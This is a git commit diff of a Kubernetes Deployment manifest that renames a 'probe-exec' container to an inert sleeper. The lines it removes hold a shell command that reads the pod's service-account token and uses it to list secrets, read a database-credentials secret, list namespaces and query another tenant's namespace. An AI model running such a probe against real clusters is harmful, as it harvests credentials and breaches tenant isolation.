i423 fix: replace root manifest with a truly inert sleeper (previous push reused the i170 phase-2 probe by mistake)
This commit is contained in:
+7
-6
@@ -1,18 +1,18 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: probe-exec
|
||||
name: probe-inert
|
||||
labels:
|
||||
app: probe-exec
|
||||
app: probe-inert
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: probe-exec
|
||||
app: probe-inert
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: probe-exec
|
||||
app: probe-inert
|
||||
spec:
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
@@ -21,11 +21,12 @@ spec:
|
||||
seccompProfile:
|
||||
type: RuntimeDefault
|
||||
containers:
|
||||
- name: probe-exec
|
||||
- name: sleeper
|
||||
image: busybox:1.36
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
command: ["sh","-c","echo 'PROBE-PHASE2-START'; hostname; echo '--- K8S API: serviceaccount token'; cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>&1; TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null); echo \"token-len:${#TOKEN}\"; echo '--- try list secrets in own ns via K8s API'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets\" 2>&1 | head -c 1500; echo; echo '--- try list configmaps'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/configmaps\" 2>&1 | head -c 800; echo; echo '--- try LIST NAMESPACES (cross-ns)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces\" 2>&1 | head -c 800; echo; echo '--- read own db secret'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/platchain-293213-dev/secrets/probedb-db-credentials\" 2>&1 | head -c 800; echo; echo '--- try foreign ns secret (cottoncraft)'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate \"https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets\" 2>&1 | head -c 500; echo; echo '--- SELF-SUBJECT RULES REVIEW'; wget -q -O- --header=\"Authorization: Bearer $TOKEN\" --no-check-certificate --post-data='{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"platchain-293213-dev\"}}' \"https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" 2>&1 | head -c 1500; echo; echo 'PROBE-PHASE2-END'; sleep 3000"]
|
||||
command: ["sh", "-c", "echo I423-INERT-SLEEPER; sleep 3000"]
|
||||
|
||||
Reference in New Issue
Block a user